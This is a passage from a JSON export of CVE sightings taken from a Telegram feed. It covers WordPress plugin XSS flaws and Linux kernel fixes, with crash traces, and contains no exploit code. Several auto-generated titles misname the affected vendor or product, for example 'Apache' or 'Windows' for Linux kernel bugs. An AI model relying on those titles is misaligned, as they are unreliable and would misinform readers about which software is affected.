\"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T00:16:02.000000Z"}, {"uuid": "6746cbe1-8d34-4169-b046-e4d1f2a06df6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50448", "type": "seen", "source": "https://t.me/cvedetector/9147", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50448 - YITH WooCommerce Product Add-Ons Cross-site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-50448 \nPublished : Oct. 28, 2024, 6:15 p.m. | 15\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in YITH YITH WooCommerce Product Add-Ons allows Reflected XSS.This issue affects YITH WooCommerce Product Add-Ons: from n/a through 4.14.1. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T19:30:41.000000Z"}, {"uuid": "911e75d2-293b-4bf1-926e-20ce54a584f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50440", "type": "seen", "source": "https://t.me/cvedetector/9151", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50440 - CodePen XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50440 \nPublished : Oct. 28, 2024, 6:15 p.m. | 15\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Chris Coyier CodePen Embedded Pens Shortcode allows Stored XSS.This issue affects CodePen Embedded Pens Shortcode: from n/a through 1.0.2. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T19:30:44.000000Z"}, {"uuid": "5d6abf33-e999-43cc-b854-89a55d49f44a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50449", "type": "seen", "source": "https://t.me/cvedetector/9148", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50449 - Improper Neutralization of Input During Web Page G\", \n  \"Content\": \"CVE ID : CVE-2024-50449 \nPublished : Oct. 28, 2024, 6:15 p.m. | 15\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in RedefiningTheWeb PDF Generator Addon for Elementor Page Builder allows Stored XSS.This issue affects PDF Generator Addon for Elementor Page Builder: from n/a through 1.7.4. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T19:30:42.000000Z"}, {"uuid": "b1955101-abd3-4e39-8d99-9321c7cfd199", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50447", "type": "seen", "source": "https://t.me/cvedetector/9146", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50447 - EnvoThemes Envo's Elementor Templates & Widgets for WooCommerce Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50447 \nPublished : Oct. 28, 2024, 6:15 p.m. | 15\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in EnvoThemes Envo's Elementor Templates & Widgets for WooCommerce allows Stored XSS.This issue affects Envo's Elementor Templates & Widgets for WooCommerce: from n/a through 1.4.19. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T19:30:37.000000Z"}, {"uuid": "9d3cd198-e819-4f5d-ab26-1dee8368e0b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50446", "type": "seen", "source": "https://t.me/cvedetector/9145", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50446 - FuturioWP Futurio Extra Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50446 \nPublished : Oct. 28, 2024, 6:15 p.m. | 15\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in FuturioWP Futurio Extra allows Stored XSS.This issue affects Futurio Extra: from n/a through 2.0.11. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T19:30:36.000000Z"}, {"uuid": "c1676027-39a0-4d4f-8ce9-f4ddfb73f42e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50078", "type": "seen", "source": "https://t.me/cvedetector/9241", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50078 - Linux Bluetooth List Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50078 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nBluetooth: Call iso_exit() on module unload  \n  \nIf iso_init() has been called, iso_exit() must be called on module  \nunload. Without that, the struct proto that iso_init() registered with  \nproto_register() becomes invalid, which could cause unpredictable  \nproblems later. In my case, with CONFIG_LIST_HARDENED and  \nCONFIG_BUG_ON_DATA_CORRUPTION enabled, loading the module again usually  \ntriggers this BUG():  \n  \n  list_add corruption. next->prev should be prev (ffffffffb5355fd0),  \n    but was 0000000000000068. (next=ffffffffc0a010d0).  \n  ------------[ cut here ]------------  \n  kernel BUG at lib/list_debug.c:29!  \n  Oops: invalid opcode: 0000 [#1] PREEMPT SMP PTI  \n  CPU: 1 PID: 4159 Comm: modprobe Not tainted 6.10.11-4+bt2-ao-desktop #1  \n  RIP: 0010:__list_add_valid_or_report+0x61/0xa0  \n  ...  \n    __list_add_valid_or_report+0x61/0xa0  \n    proto_register+0x299/0x320  \n    hci_sock_init+0x16/0xc0 [bluetooth]  \n    bt_init+0x68/0xd0 [bluetooth]  \n    __pfx_bt_init+0x10/0x10 [bluetooth]  \n    do_one_initcall+0x80/0x2f0  \n    do_init_module+0x8b/0x230  \n    __do_sys_init_module+0x15f/0x190  \n    do_syscall_64+0x68/0x110  \n  ... \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T03:03:55.000000Z"}, {"uuid": "eb1d4e01-1d61-47b1-8c4c-22341ee483a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50069", "type": "seen", "source": "https://t.me/cvedetector/9240", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50069 - Apple Pinctrl NULL Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50069 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \npinctrl: apple: check devm_kasprintf() returned value  \n  \ndevm_kasprintf() can return a NULL pointer on failure but this returned  \nvalue is not checked. Fix this lack and check the returned value.  \n  \nFound by code review. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T03:03:55.000000Z"}, {"uuid": "18ed854d-7909-4990-a913-0b438e31fdd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50079", "type": "seen", "source": "https://t.me/cvedetector/9239", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50079 - Apache Linux kernel io_uring sqpoll Task State Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50079 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nio_uring/sqpoll: ensure task state is TASK_RUNNING when running task_work  \n  \nWhen the sqpoll is exiting and cancels pending work items, it may need  \nto run task_work. If this happens from within io_uring_cancel_generic(),  \nthen it may be under waiting for the io_uring_task waitqueue. This  \nresults in the below splat from the scheduler, as the ring mutex may be  \nattempted grabbed while in a TASK_INTERRUPTIBLE state.  \n  \nEnsure that the task state is set appropriately for that, just like what  \nis done for the other cases in io_run_task_work().  \n  \ndo not call blocking ops when !TASK_RUNNING; state=1 set at [<0000000029387fd2] prepare_to_wait+0x88/0x2fc  \nWARNING: CPU: 6 PID: 59939 at kernel/sched/core.c:8561 __might_sleep+0xf4/0x140  \nModules linked in:  \nCPU: 6 UID: 0 PID: 59939 Comm: iou-sqp-59938 Not tainted 6.12.0-rc3-00113-g8d020023b155 #7456  \nHardware name: linux,dummy-virt (DT)  \npstate: 61400005 (nZCv daif +PAN -UAO -TCO +DIT -SSBS BTYPE=--)  \npc : __might_sleep+0xf4/0x140  \nlr : __might_sleep+0xf4/0x140  \nsp : ffff80008c5e7830  \nx29: ffff80008c5e7830 x28: ffff0000d93088c0 x27: ffff60001c2d7230  \nx26: dfff800000000000 x25: ffff0000e16b9180 x24: ffff80008c5e7a50  \nx23: 1ffff000118bcf4a x22: ffff0000e16b9180 x21: ffff0000e16b9180  \nx20: 000000000000011b x19: ffff80008310fac0 x18: 1ffff000118bcd90  \nx17: 30303c5b20746120 x16: 74657320313d6574 x15: 0720072007200720  \nx14: 0720072007200720 x13: 0720072007200720 x12: ffff600036c64f0b  \nx11: 1fffe00036c64f0a x10: ffff600036c64f0a x9 : dfff800000000000  \nx8 : 00009fffc939b0f6 x7 : ffff0001b6327853 x6 : 0000000000000001  \nx5 : ffff0001b6327850 x4 : ffff600036c64f0b x3 : ffff8000803c35bc  \nx2 : 0000000000000000 x1 : 0000000000000000 x0 : ffff0000e16b9180  \nCall trace:  \n __might_sleep+0xf4/0x140  \n mutex_lock+0x84/0x124  \n io_handle_tw_list+0xf4/0x260  \n tctx_task_work_run+0x94/0x340  \n io_run_task_work+0x1ec/0x3c0  \n io_uring_cancel_generic+0x364/0x524  \n io_sq_thread+0x820/0x124c  \n ret_from_fork+0x10/0x20 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T03:03:54.000000Z"}, {"uuid": "331c9742-70aa-42b5-b97b-1bd9da8d1d73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50075", "type": "seen", "source": "https://t.me/cvedetector/9233", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50075 - \"Windows Tegra XUSB USB2 Root Hub Early Reflection-Based Information Disclosure\"\", \n  \"Content\": \"CVE ID : CVE-2024-50075 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nxhci: tegra: fix checked USB2 port number  \n  \nIf USB virtualizatoin is enabled, USB2 ports are shared between all  \nVirtual Functions. The USB2 port number owned by an USB2 root hub in  \na Virtual Function may be less than total USB2 phy number supported  \nby the Tegra XUSB controller.  \n  \nUsing total USB2 phy number as port number to check all PORTSC values  \nwould cause invalid memory access.  \n  \n[  116.923438] Unable to handle kernel paging request at virtual address 006c622f7665642f  \n...  \n[  117.213640] Call trace:  \n[  117.216783]  tegra_xusb_enter_elpg+0x23c/0x658  \n[  117.222021]  tegra_xusb_runtime_suspend+0x40/0x68  \n[  117.227260]  pm_generic_runtime_suspend+0x30/0x50  \n[  117.232847]  __rpm_callback+0x84/0x3c0  \n[  117.237038]  rpm_suspend+0x2dc/0x740  \n[  117.241229] pm_runtime_work+0xa0/0xb8  \n[  117.245769]  process_scheduled_works+0x24c/0x478  \n[  117.251007]  worker_thread+0x23c/0x328  \n[  117.255547]  kthread+0x104/0x1b0  \n[  117.259389]  ret_from_fork+0x10/0x20  \n[  117.263582] Code: 54000222 f9461ae8 f8747908 b4ffff48 (f9400100) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T03:03:11.000000Z"}, {"uuid": "3d1b1b76-f1e7-4a1d-8767-5ce676422dce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50074", "type": "seen", "source": "https://t.me/cvedetector/9232", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50074 - Apache Linux Kernel Array Index Out-of-Bounds Write\", \n  \"Content\": \"CVE ID : CVE-2024-50074 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nparport: Proper fix for array out-of-bounds access  \n  \nThe recent fix for array out-of-bounds accesses replaced sprintf()  \ncalls blindly with snprintf().  However, since snprintf() returns the  \nwould-be-printed size, not the actually output size, the length  \ncalculation can still go over the given limit.  \n  \nUse scnprintf() instead of snprintf(), which returns the actually  \noutput letters, for addressing the potential out-of-bounds access  \nproperly. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T03:03:07.000000Z"}, {"uuid": "1c9a47f4-99cb-4637-9e5d-262ca6cea598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50070", "type": "seen", "source": "https://t.me/cvedetector/9236", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50070 - \"STM32 Linux Kernel Null Pointer Dereference Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50070 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \npinctrl: stm32: check devm_kasprintf() returned value  \n  \ndevm_kasprintf() can return a NULL pointer on failure but this returned  \nvalue is not checked. Fix this lack and check the returned value.  \n  \nFound by code review. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T03:03:14.000000Z"}, {"uuid": "d9d534f9-b943-41b4-8101-ec9d2ce3f05d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50068", "type": "seen", "source": "https://t.me/cvedetector/9235", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50068 - Linux Kernel DAMON - Memory Leak\", \n  \"Content\": \"CVE ID : CVE-2024-50068 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nmm/damon/tests/sysfs-kunit.h: fix memory leak in damon_sysfs_test_add_targets()  \n  \nThe sysfs_target->regions allocated in damon_sysfs_regions_alloc() is not  \nfreed in damon_sysfs_test_add_targets(), which cause the following memory  \nleak, free it to fix it.  \n  \n unreferenced object 0xffffff80c2a8db80 (size 96):  \n   comm \"kunit_try_catch\", pid 187, jiffies 4294894363  \n   hex dump (first 32 bytes):  \n     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................  \n     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................  \n   backtrace (crc 0):  \n     [<0000000001e3714d] kmemleak_alloc+0x34/0x40  \n     [<000000008e6835c1] __kmalloc_cache_noprof+0x26c/0x2f4  \n     [<000000001286d9f8] damon_sysfs_test_add_targets+0x1cc/0x738  \n     [<0000000032ef8f77] kunit_try_run_case+0x13c/0x3ac  \n     [<00000000f3edea23] kunit_generic_run_threadfn_adapter+0x80/0xec  \n     [<00000000adf936cf] kthread+0x2e8/0x374  \n     [<0000000041bb1628] ret_from_fork+0x10/0x20 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T03:03:13.000000Z"}, {"uuid": "cbb1a711-30c2-4ce9-ac10-4c682109ed54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50077", "type": "seen", "source": "https://t.me/cvedetector/9234", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50077 - \"Bluetooth Linux Kernel Multiple init Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50077 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nBluetooth: ISO: Fix multiple init when debugfs is disabled  \n  \nIf bt_debugfs is not created successfully, which happens if either  \nCONFIG_DEBUG_FS or CONFIG_DEBUG_FS_ALLOW_ALL is unset, then iso_init()  \nreturns early and does not set iso_inited to true. This means that a  \nsubsequent call to iso_init() will result in duplicate calls to  \nproto_register(), bt_sock_register(), etc.  \n  \nWith CONFIG_LIST_HARDENED and CONFIG_BUG_ON_DATA_CORRUPTION enabled, the  \nduplicate call to proto_register() triggers this BUG():  \n  \n  list_add double add: new=ffffffffc0b280d0, prev=ffffffffbab56250,  \n    next=ffffffffc0b280d0.  \n  ------------[ cut here ]------------  \n  kernel BUG at lib/list_debug.c:35!  \n  Oops: invalid opcode: 0000 [#1] PREEMPT SMP PTI  \n  CPU: 2 PID: 887 Comm: bluetoothd Not tainted 6.10.11-1-ao-desktop #1  \n  RIP: 0010:__list_add_valid_or_report+0x9a/0xa0  \n  ...  \n    __list_add_valid_or_report+0x9a/0xa0  \n    proto_register+0x2b5/0x340  \n    iso_init+0x23/0x150 [bluetooth]  \n    set_iso_socket_func+0x68/0x1b0 [bluetooth]  \n    kmem_cache_free+0x308/0x330  \n    hci_sock_sendmsg+0x990/0x9e0 [bluetooth]  \n    __sock_sendmsg+0x7b/0x80  \n    sock_write_iter+0x9a/0x110  \n    do_iter_readv_writev+0x11d/0x220  \n    vfs_writev+0x180/0x3e0  \n    do_writev+0xca/0x100  \n  ...  \n  \nThis change removes the early return. The check for iso_debugfs being  \nNULL was unnecessary, it is always NULL when iso_inited is false. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T03:03:12.000000Z"}, {"uuid": "4cd063d8-7bd1-4134-8d6d-9faef914c0ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50073", "type": "seen", "source": "https://t.me/cvedetector/9231", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50073 - VMware Linux Kernel TTY Use-After-Free Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50073 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ntty: n_gsm: Fix use-after-free in gsm_cleanup_mux  \n  \nBUG: KASAN: slab-use-after-free in gsm_cleanup_mux+0x77b/0x7b0  \ndrivers/tty/n_gsm.c:3160 [n_gsm]  \nRead of size 8 at addr ffff88815fe99c00 by task poc/3379  \nCPU: 0 UID: 0 PID: 3379 Comm: poc Not tainted 6.11.0+ #56  \nHardware name: VMware, Inc. VMware Virtual Platform/440BX  \nDesktop Reference Platform, BIOS 6.00 11/12/2020  \nCall Trace:  \n   \n gsm_cleanup_mux+0x77b/0x7b0 drivers/tty/n_gsm.c:3160 [n_gsm]  \n __pfx_gsm_cleanup_mux+0x10/0x10 drivers/tty/n_gsm.c:3124 [n_gsm]  \n __pfx_sched_clock_cpu+0x10/0x10 kernel/sched/clock.c:389  \n update_load_avg+0x1c1/0x27b0 kernel/sched/fair.c:4500  \n __pfx_min_vruntime_cb_rotate+0x10/0x10 kernel/sched/fair.c:846  \n __rb_insert_augmented+0x492/0xbf0 lib/rbtree.c:161  \n gsmld_ioctl+0x395/0x1450 drivers/tty/n_gsm.c:3408 [n_gsm]  \n _raw_spin_lock_irqsave+0x92/0xf0 arch/x86/include/asm/atomic.h:107  \n __pfx_gsmld_ioctl+0x10/0x10 drivers/tty/n_gsm.c:3822 [n_gsm]  \n ktime_get+0x5e/0x140 kernel/time/timekeeping.c:195  \n ldsem_down_read+0x94/0x4e0 arch/x86/include/asm/atomic64_64.h:79  \n __pfx_ldsem_down_read+0x10/0x10 drivers/tty/tty_ldsem.c:338  \n __pfx_do_vfs_ioctl+0x10/0x10 fs/ioctl.c:805  \n tty_ioctl+0x643/0x1100 drivers/tty/tty_io.c:2818  \n  \nAllocated by task 65:  \n gsm_data_alloc.constprop.0+0x27/0x190 drivers/tty/n_gsm.c:926 [n_gsm]  \n gsm_send+0x2c/0x580 drivers/tty/n_gsm.c:819 [n_gsm]  \n gsm1_receive+0x547/0xad0 drivers/tty/n_gsm.c:3038 [n_gsm]  \n gsmld_receive_buf+0x176/0x280 drivers/tty/n_gsm.c:3609 [n_gsm]  \n tty_ldisc_receive_buf+0x101/0x1e0 drivers/tty/tty_buffer.c:391  \n tty_port_default_receive_buf+0x61/0xa0 drivers/tty/tty_port.c:39  \n flush_to_ldisc+0x1b0/0x750 drivers/tty/tty_buffer.c:445  \n process_scheduled_works+0x2b0/0x10d0 kernel/workqueue.c:3229  \n worker_thread+0x3dc/0x950 kernel/workqueue.c:3391  \n kthread+0x2a3/0x370 kernel/kthread.c:389  \n ret_from_fork+0x2d/0x70 arch/x86/kernel/process.c:147  \n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:257  \n  \nFreed by task 3367:  \n kfree+0x126/0x420 mm/slub.c:4580  \n gsm_cleanup_mux+0x36c/0x7b0 drivers/tty/n_gsm.c:3160 [n_gsm]  \n gsmld_ioctl+0x395/0x1450 drivers/tty/n_gsm.c:3408 [n_gsm]  \n tty_ioctl+0x643/0x1100 drivers/tty/tty_io.c:2818  \n  \n[Analysis]  \ngsm_msg on the tx_ctrl_list or tx_data_list of gsm_mux  \ncan be freed by multi threads through ioctl,which leads  \nto the occurrence of uaf. Protect it by gsm tx lock. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T03:03:07.000000Z"}, {"uuid": "50d63d9b-1330-4edc-a76d-48cfeeea79ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50088", "type": "seen", "source": "https://t.me/cvedetector/9230", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50088 - \"btrfs Uninitialized Pointer Free\"\", \n  \"Content\": \"CVE ID : CVE-2024-50088 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nbtrfs: fix uninitialized pointer free in add_inode_ref()  \n  \nThe add_inode_ref() function does not initialize the \"name\" struct when  \nit is declared.  If any of the following calls to \"read_one_inode()  \nreturns NULL,  \n  \n dir = read_one_inode(root, parent_objectid);  \n if (!dir) {  \n  ret = -ENOENT;  \n  goto out;  \n }  \n  \n inode = read_one_inode(root, inode_objectid);  \n if (!inode) {  \n  ret = -EIO;  \n  goto out;  \n }  \n  \nthen \"name.name\" would be freed on \"out\" before being initialized.  \n  \nout:  \n ...  \n kfree(name.name);  \n  \nThis issue was reported by Coverity with CID 1526744. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T03:03:06.000000Z"}, {"uuid": "cb04bd61-abdb-4a42-a273-e4585ece1857", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50086", "type": "seen", "source": "https://t.me/cvedetector/9229", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50086 - \"InfiniBand Open-Ethercat-Device ( ksmbd ) - Improper Free Reference\"\", \n  \"Content\": \"CVE ID : CVE-2024-50086 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nksmbd: fix user-after-free from session log off  \n  \nThere is racy issue between smb2 session log off and smb2 session setup.  \nIt will cause user-after-free from session log off.  \nThis add session_lock when setting SMB2_SESSION_EXPIRED and referece  \ncount to session struct not to free session while it is being used. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T03:03:05.000000Z"}, {"uuid": "5e49f85b-21f8-40c4-b0ab-9375975a7983", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50462", "type": "seen", "source": "https://t.me/cvedetector/9160", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50462 - Fla-shop Interactive World Map Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50462 \nPublished : Oct. 28, 2024, 6:15 p.m. | 44\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Fla-shop Interactive World Map allows Stored XSS.This issue affects Interactive World Map: from n/a through 3.4.4. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T20:21:04.000000Z"}, {"uuid": "8eb49f4c-781d-43f6-8938-c2519e59e4f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50461", "type": "seen", "source": "https://t.me/cvedetector/9159", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50461 - WPDeveloper EmbedPress Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50461 \nPublished : Oct. 28, 2024, 6:15 p.m. | 44\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WPDeveloper EmbedPress allows Stored XSS.This issue affects 